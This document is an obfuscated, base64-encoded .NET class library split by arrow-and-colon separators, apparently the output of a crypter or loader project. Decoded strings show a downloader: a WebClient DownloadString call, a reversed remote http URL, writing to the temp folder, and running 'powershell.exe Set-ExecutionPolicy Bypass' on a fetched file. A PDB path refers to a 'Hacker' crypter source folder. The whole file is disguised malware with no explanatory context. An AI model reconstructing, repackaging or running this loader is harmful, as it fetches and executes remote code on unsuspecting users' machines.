↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓/↓:↓SMF↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓o↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EgBr↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓D5Bw↓:↓↓:↓CQ↓:↓E↓:↓↓:↓o↓:↓B↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓F↓:↓Bu↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓t↓:↓G4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C8↓:↓bgCN↓:↓BEBjQ↓:↓0↓:↓Q↓:↓↓:↓↓:↓ENvbnRleHRWYWx1ZW↓:↓x↓:↓FRocmVhZFNhZmVPYmplY3RQcm92aWRlcm↓:↓x↓:↓ENsYXNzMQBDbGFzc0xpYnJhcnkz↓:↓GdldF9VVEY4↓:↓DxNb2R1bGU+↓:↓FNab0JD↓:↓EZhVWRH↓:↓HByRlZJ↓:↓FN5c3RlbS5JTwBU↓:↓ERpc3Bvc2VfX0luc3RhbmNlX18↓:↓Q3JlYXRlX19JbnN0YW5jZV9f↓:↓FByb2plY3REYXRh↓:↓G1zY29ybGli↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYwBTeW5jaHJvbml6ZWQ↓:↓QVhTd2Q↓:↓UmVwbGFjZQBDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2U↓:↓ZGVmYXVsdEluc3RhbmNl↓:↓Gluc3RhbmNl↓:↓EdldEhhc2hDb2Rl↓:↓GdldF9Vbmljb2Rl↓:↓FJ1bnRpbWVUeXBlSGFuZGxl↓:↓EdldFR5cGVGcm9tSGFuZGxl↓:↓EZpbGU↓:↓QXBwV2luU3R5bGU↓:↓R2V0RmlsZU5hbWU↓:↓Q29tYmluZQBTZWN1cml0eVByb3RvY29sVHlwZQBHZXRUeXBl↓:↓GdldF9DdWx0dXJl↓:↓HNldF9DdWx0dXJl↓:↓HJlc291cmNlQ3VsdHVyZQBBcHBsaWNhdGlvbkJhc2U↓:↓QXBwbGljYXRpb25TZXR0aW5nc0Jhc2U↓:↓RGlzcG9zZQBTdHJSZXZlcnNl↓:↓EVkaXRvckJyb3dzYWJsZVN0YXRl↓:↓ENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRl↓:↓Ed1aWRBdHRyaWJ1dGU↓:↓SGVscEtleXdvcmRBdHRyaWJ1dGU↓:↓R2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRl↓:↓ERlYnVnZ2FibGVBdHRyaWJ1dGU↓:↓RWRpdG9yQnJvd3NhYmxlQXR0cmlidXRl↓:↓ENvbVZpc2libGVBdHRyaWJ1dGU↓:↓QXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGU↓:↓RGVidWdnZXJIaWRkZW5BdHRyaWJ1dGU↓:↓QXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBNeUdyb3VwQ29sbGVjdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRl↓:↓ENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGU↓:↓QXNzZW1ibHlQcm9kdWN0QXR0cmlidXRl↓:↓EFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRl↓:↓EFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBnZXRfVmFsdWU↓:↓c2V0X1ZhbHVl↓:↓EdldE9iamVjdFZhbHVl↓:↓E1vdmU↓:↓c2V0X0VuY29kaW5n↓:↓FN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmc↓:↓RG93bmxvYWRTdHJpbmc↓:↓VG9TdHJpbmc↓:↓R2V0VGVtcFBhdGg↓:↓R2V0Rm9sZGVyUGF0a↓:↓BVcmk↓:↓TWljcm9zb2Z0LlZpc3VhbEJhc2ljLk15U2VydmljZXMuSW50ZXJuYWw↓:↓U3lzdGVtLkNvbXBvbmVudE1vZGVs↓:↓ENsYXNzTGlicmFyeTMuZGxs↓:↓FNoZWxs↓:↓HNldF9TZWN1cml0eVByb3RvY29s↓:↓FN5c3RlbQBUcmlt↓:↓HJlc291cmNlTWFu↓:↓FRvQm9vbGVhbgBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWdu↓:↓GdldF9BcHBsaWNhdGlvbgBNeUFwcGxpY2F0aW9u↓:↓FN5c3RlbS5Db25maWd1cmF0aW9u↓:↓FN5c3RlbS5HbG9iYWxpemF0aW9u↓:↓EludGVyYWN0aW9u↓:↓FN5c3RlbS5SZWZsZWN0aW9u↓:↓EV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBtX0FwcE9iamVjdFByb3ZpZGVy↓:↓G1fVXNlck9iamVjdFByb3ZpZGVy↓:↓G1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBtX015V2ViU2VydmljZXNPYmplY3RQcm92aWRlcgBTcGVjaWFsRm9sZGVy↓:↓GdldF9SZXNvdXJjZU1hbmFnZXI↓:↓U2VydmljZVBvaW50TWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBnZXRfQ29tcHV0ZXI↓:↓TXlDb21wdXRlcgBUb0xvd2Vy↓:↓ENsZWFyUHJvamVjdEVycm9y↓:↓FNldFByb2plY3RFcnJvcgBBY3RpdmF0b3I↓:↓LmN0b3I↓:↓LmNjdG9y↓:↓FN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXM↓:↓TXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM↓:↓TWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXM↓:↓U3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2Vz↓:↓ENsYXNzTGlicmFyeTMuTXkuUmVzb3VyY2Vz↓:↓ENsYXNzTGlicmFyeTMuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBTdHJpbmdz↓:↓GdldF9TZXR0aW5ncwBNeVNldHRpbmdz↓:↓FJlZmVyZW5jZUVxdWFscwBDb250YWlucwBDb252ZXJzaW9ucwBSdW50aW1lSGVscGVycwBDb25jYXQ↓:↓T2JqZWN0↓:↓E15UHJvamVjd↓:↓BTeXN0ZW0uTmV0↓:↓GdldF9EZWZhdWx0↓:↓FdlYkNsaWVud↓:↓BFbnZpcm9ubWVud↓:↓BDb21wb25lbnQ↓:↓U3lzdGVtLlRleHQ↓:↓V3JpdGVBbGxUZXh0↓:↓G1fQ29udGV4d↓:↓Bua0dNdgBBdmJFdwBDbGFzc0xpYnJhcnkzLk15↓:↓GdldF9Bc3NlbWJseQBFbXB0eQBNeVNldHRpbmdzUHJvcGVydHk↓:↓↓:↓↓:↓↓:↓vQwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓FI↓:↓ZQBz↓:↓G8↓:↓dQBy↓:↓GM↓:↓ZQBz↓:↓↓:↓↓:↓Le↓:↓↓:↓u↓:↓H↓:↓↓:↓cw↓:↓x↓:↓↓:↓BzcgBj↓:↓DE↓:↓Mg↓:↓1↓:↓GQ↓:↓LwB1↓:↓HI↓:↓LgB6↓:↓HY↓:↓MwBi↓:↓HQ↓:↓b↓:↓Bu↓:↓GI↓:↓dg↓:↓1↓:↓Hc↓:↓eQBn↓:↓D↓:↓↓:↓MgBi↓:↓Hk↓:↓egBn↓:↓Gk↓:↓d↓:↓Bm↓:↓Gc↓:↓aQBw↓:↓GI↓:↓cwBk↓:↓HY↓:↓b↓:↓Bo↓:↓Gk↓:↓cgBu↓:↓Hc↓:↓eQBv↓:↓GI↓:↓cwBh↓:↓C8↓:↓Lw↓:↓6↓:↓H↓:↓↓:↓d↓:↓B0↓:↓Gg↓:↓↓:↓↓:↓eTITo↓:↓kyEB↓:↓0E↓:↓↓:↓Htz↓:↓Hc↓:↓cgBl↓:↓DI↓:↓YQ↓:↓v↓:↓GQ↓:↓cwBh↓:↓C8↓:↓dQBy↓:↓C4↓:↓egB2↓:↓DM↓:↓YgB0↓:↓Gw↓:↓bgBi↓:↓HY↓:↓NQB3↓:↓Hk↓:↓Zw↓:↓w↓:↓DI↓:↓YgB5↓:↓Ho↓:↓ZwBp↓:↓HQ↓:↓ZgBn↓:↓Gk↓:↓c↓:↓Bi↓:↓HM↓:↓Z↓:↓B2↓:↓Gw↓:↓a↓:↓Bp↓:↓HI↓:↓bgB3↓:↓Hk↓:↓bwBi↓:↓HM↓:↓YQ↓:↓v↓:↓C8↓:↓OgBw↓:↓HQ↓:↓d↓:↓Bo↓:↓↓:↓↓:↓PJQBu↓:↓Gs↓:↓RwBN↓:↓HY↓:↓JQ↓:↓↓:↓DyU↓:↓cQBs↓:↓Hg↓:↓SwBQ↓:↓CU↓:↓↓:↓ICZc↓:↓Bv↓:↓Hc↓:↓ZQBy↓:↓HM↓:↓a↓:↓Bl↓:↓Gw↓:↓b↓:↓↓:↓u↓:↓GU↓:↓e↓:↓Bl↓:↓C↓:↓↓:↓UwBl↓:↓HQ↓:↓LQBF↓:↓Hg↓:↓ZQBj↓:↓HU↓:↓d↓:↓Bp↓:↓G8↓:↓bgBQ↓:↓G8↓:↓b↓:↓Bp↓:↓GM↓:↓eQ↓:↓g↓:↓EI↓:↓eQBw↓:↓GE↓:↓cwBz↓:↓C↓:↓↓:↓LQBT↓:↓GM↓:↓bwBw↓:↓GU↓:↓I↓:↓BQ↓:↓HI↓:↓bwBj↓:↓GU↓:↓cwBz↓:↓C↓:↓↓:↓Ow↓:↓g↓:↓H↓:↓↓:↓bwB3↓:↓GU↓:↓cgBz↓:↓Gg↓:↓ZQBs↓:↓Gw↓:↓I↓:↓↓:↓t↓:↓GY↓:↓aQBs↓:↓GU↓:↓I↓:↓↓:↓B2541oOaqvUmbdo3jBMKsug↓:↓EI↓:↓EBC↓:↓Mg↓:↓↓:↓EFI↓:↓EBEREEI↓:↓EBDgQg↓:↓QECBS↓:↓C↓:↓Q4OBS↓:↓B↓:↓RFBBy↓:↓E↓:↓Q4ODg4GFRIo↓:↓RIMBhUSK↓:↓ESC↓:↓YVEigBEmEGFRIo↓:↓RIkBC↓:↓↓:↓Ew↓:↓F↓:↓↓:↓ICHBwH↓:↓↓:↓ESaRG↓:↓jQUg↓:↓BK↓:↓kQcg↓:↓gEOEoCRC↓:↓↓:↓BEoCVEoCVDwcJDgIOEoCJDg4ODhK↓:↓iQM↓:↓↓:↓↓:↓4F↓:↓↓:↓IODg4E↓:↓↓:↓ECDgMg↓:↓↓:↓4EI↓:↓ECDgY↓:↓↓:↓Q4RgKkE↓:↓↓:↓EODgU↓:↓↓:↓gEODgY↓:↓↓:↓QESgIkD↓:↓↓:↓↓:↓BBg↓:↓B↓:↓RG↓:↓uQIGDgU↓:↓↓:↓BK↓:↓wQYg↓:↓QESgMEEI↓:↓EODgUg↓:↓g4ODgYg↓:↓Q4SgMkI↓:↓↓:↓MBDg4SgMEJ↓:↓↓:↓QIDhG↓:↓0QIIB↓:↓↓:↓BHBwEI↓:↓ECH↓:↓Mg↓:↓↓:↓gEBwEe↓:↓↓:↓Ie↓:↓↓:↓UQ↓:↓Q↓:↓e↓:↓↓:↓QK↓:↓R4↓:↓B↓:↓cBEw↓:↓GFRIo↓:↓RM↓:↓BwYVEm0BEw↓:↓GFRJt↓:↓RM↓:↓↓:↓hM↓:↓B↓:↓oBEw↓:↓FI↓:↓EBEw↓:↓It3pcVhk04IkIsD9ffxHVCjoHBhUSK↓:↓ESD↓:↓cGFRIo↓:↓RIIBwYVEigBEmEHBhUSK↓:↓ESJ↓:↓MGEn0EBhK↓:↓gQMGEhgE↓:↓↓:↓↓:↓SD↓:↓Q↓:↓↓:↓BIIB↓:↓↓:↓↓:↓EmEE↓:↓↓:↓↓:↓SJ↓:↓Q↓:↓↓:↓BJ9BQ↓:↓↓:↓EoCBBg↓:↓B↓:↓RK↓:↓gQQ↓:↓↓:↓BIYBg↓:↓D↓:↓Q4ODgQg↓:↓BJpBx↓:↓B↓:↓R4↓:↓Hg↓:↓HM↓:↓EB↓:↓R↓:↓e↓:↓↓:↓QI↓:↓BIMB↓:↓g↓:↓EggEC↓:↓↓:↓SYQQI↓:↓BIkB↓:↓g↓:↓En0FC↓:↓↓:↓SgIEEC↓:↓↓:↓SG↓:↓Qo↓:↓BM↓:↓C↓:↓E↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓HgE↓:↓↓:↓QBU↓:↓hZXcmFwTm9uRXhjZXB0aW9uVGhyb3dz↓:↓QgB↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓UB↓:↓↓:↓↓:↓↓:↓↓:↓BcB↓:↓BJDb3B5cmlnaHQgwqkgIDIwMjI↓:↓↓:↓CkB↓:↓CQxQjQxRDRENC1EQkQ0LTQ1NEEtQjZBNC0xOEQ4MUM0MTkzRT↓:↓↓:↓↓:↓↓:↓wB↓:↓↓:↓cxLj↓:↓uMC4w↓:↓↓:↓BJ↓:↓Q↓:↓aLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUB↓:↓FQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lEi5ORVQgRnJhbWV3b3JrIDQuNQQB↓:↓↓:↓↓:↓↓:↓C↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓E↓:↓Ck15VGVtcGxhdGUIMTEuMC4wLj↓:↓↓:↓↓:↓EEB↓:↓DNTeXN0ZW0uUmVzb3VyY2VzLlRvb2xzLlN0cm9uZ2x5VHlwZWRSZXNvdXJjZUJ1aWxkZXIIMTYuMC4wLj↓:↓↓:↓↓:↓FoB↓:↓EtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IJMTYuMT↓:↓uMC4w↓:↓↓:↓Bh↓:↓Q↓:↓0U3lzdGVtLldlYi5TZXJ2aWNlcy5Qcm90b2NvbHMuU29hcEh0dHBDbGllbnRQcm90b2NvbBJDcmVhdGVfX0luc3RhbmNlX18TRGlzcG9zZV9fSW5zdGFuY2VfXw↓:↓↓:↓↓:↓B↓:↓B↓:↓↓:↓tNeS5Db21wdXRlcg↓:↓↓:↓EwE↓:↓Dk15LkFwcGxpY2F0aW9u↓:↓↓:↓↓:↓M↓:↓Q↓:↓HTXkuVXNlcg↓:↓↓:↓EwE↓:↓Dk15LldlYlNlcnZpY2Vz↓:↓↓:↓↓:↓Q↓:↓Q↓:↓LTXkuU2V0dGluZ3M↓:↓↓:↓↓:↓C0↓:↓↓:↓↓:↓↓:↓zsrvvgE↓:↓↓:↓↓:↓CR↓:↓↓:↓↓:↓↓:↓bFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLj↓:↓sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZT↓:↓4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNld↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓FBBRFBBRFC0↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓INO4r4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓Io↓:↓↓:↓↓:↓D4P↓:↓↓:↓↓:↓+B4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BSU0RTcJDtD↓:↓HCe0iMhltKt03JpQE↓:↓↓:↓↓:↓BEOlxFeHRlcm5cVk1zXEhhY2tlclwyMDIzXFNvcnVjZVxTb3VyY2VcVXBDcnlcTWV0b2RvIERGXENsYXNzTGlicmFyeTNcQ2xhc3NMaWJyYXJ5M1xvYmpcUmVsZWFzZVxDbGFzc0xpYnJhcnkzLnBkYgCqPQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓DEPQ↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓tj0↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BfQ29yRGxsTWFpbgBtc2NvcmVlLmRsb↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D/JQ↓:↓g↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓E↓:↓↓:↓↓:↓↓:↓Bg↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓BYQ↓:↓↓:↓↓:↓D↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓M0↓:↓↓:↓↓:↓↓:↓VgBT↓:↓F8↓:↓VgBF↓:↓FI↓:↓UwBJ↓:↓E8↓:↓TgBf↓:↓Ek↓:↓TgBG↓:↓E8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓L0E7/4↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓↓:↓↓:↓↓:↓↓:↓QBW↓:↓GE↓:↓cgBG↓:↓Gk↓:↓b↓:↓Bl↓:↓Ek↓:↓bgBm↓:↓G8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CQ↓:↓B↓:↓↓:↓↓:↓↓:↓FQ↓:↓cgBh↓:↓G4↓:↓cwBs↓:↓GE↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CwBGwC↓:↓↓:↓↓:↓B↓:↓FM↓:↓d↓:↓By↓:↓Gk↓:↓bgBn↓:↓EY↓:↓aQBs↓:↓GU↓:↓SQBu↓:↓GY↓:↓bw↓:↓↓:↓↓:↓EgC↓:↓↓:↓↓:↓B↓:↓D↓:↓↓:↓M↓:↓↓:↓w↓:↓D↓:↓↓:↓M↓:↓↓:↓0↓:↓GI↓:↓M↓:↓↓:↓↓:↓↓:↓Bo↓:↓↓:↓Q↓:↓B↓:↓EM↓:↓bwBt↓:↓G0↓:↓ZQBu↓:↓HQ↓:↓cw↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓i↓:↓↓:↓E↓:↓↓:↓QBD↓:↓G8↓:↓bQBw↓:↓GE↓:↓bgB5↓:↓E4↓:↓YQBt↓:↓GU↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓q↓:↓↓:↓E↓:↓↓:↓QBG↓:↓Gk↓:↓b↓:↓Bl↓:↓EQ↓:↓ZQBz↓:↓GM↓:↓cgBp↓:↓H↓:↓↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓C↓:↓↓:↓B↓:↓EY↓:↓aQBs↓:↓GU↓:↓VgBl↓:↓HI↓:↓cwBp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓EQ↓:↓Eg↓:↓B↓:↓Ek↓:↓bgB0↓:↓GU↓:↓cgBu↓:↓GE↓:↓b↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓S↓:↓↓:↓S↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓EM↓:↓bwBw↓:↓Hk↓:↓cgBp↓:↓Gc↓:↓a↓:↓B0↓:↓↓:↓↓:↓↓:↓QwBv↓:↓H↓:↓↓:↓eQBy↓:↓Gk↓:↓ZwBo↓:↓HQ↓:↓I↓:↓Cp↓:↓C↓:↓↓:↓I↓:↓↓:↓y↓:↓D↓:↓↓:↓Mg↓:↓y↓:↓↓:↓↓:↓↓:↓Kg↓:↓B↓:↓↓:↓E↓:↓T↓:↓Bl↓:↓Gc↓:↓YQBs↓:↓FQ↓:↓cgBh↓:↓GQ↓:↓ZQBt↓:↓GE↓:↓cgBr↓:↓HM↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BM↓:↓BI↓:↓↓:↓QBP↓:↓HI↓:↓aQBn↓:↓Gk↓:↓bgBh↓:↓Gw↓:↓RgBp↓:↓Gw↓:↓ZQBu↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓QwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓GQ↓:↓b↓:↓Bs↓:↓↓:↓↓:↓↓:↓Ig↓:↓B↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BO↓:↓GE↓:↓bQBl↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓N↓:↓↓:↓I↓:↓↓:↓E↓:↓U↓:↓By↓:↓G8↓:↓Z↓:↓B1↓:↓GM↓:↓d↓:↓BW↓:↓GU↓:↓cgBz↓:↓Gk↓:↓bwBu↓:↓↓:↓↓:↓↓:↓MQ↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓C4↓:↓M↓:↓↓:↓↓:↓↓:↓Dg↓:↓C↓:↓↓:↓B↓:↓EE↓:↓cwBz↓:↓GU↓:↓bQBi↓:↓Gw↓:↓eQ↓:↓g↓:↓FY↓:↓ZQBy↓:↓HM↓:↓aQBv↓:↓G4↓:↓↓:↓↓:↓↓:↓x↓:↓C4↓:↓M↓:↓↓:↓u↓:↓D↓:↓↓:↓Lg↓:↓w↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓DYPQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓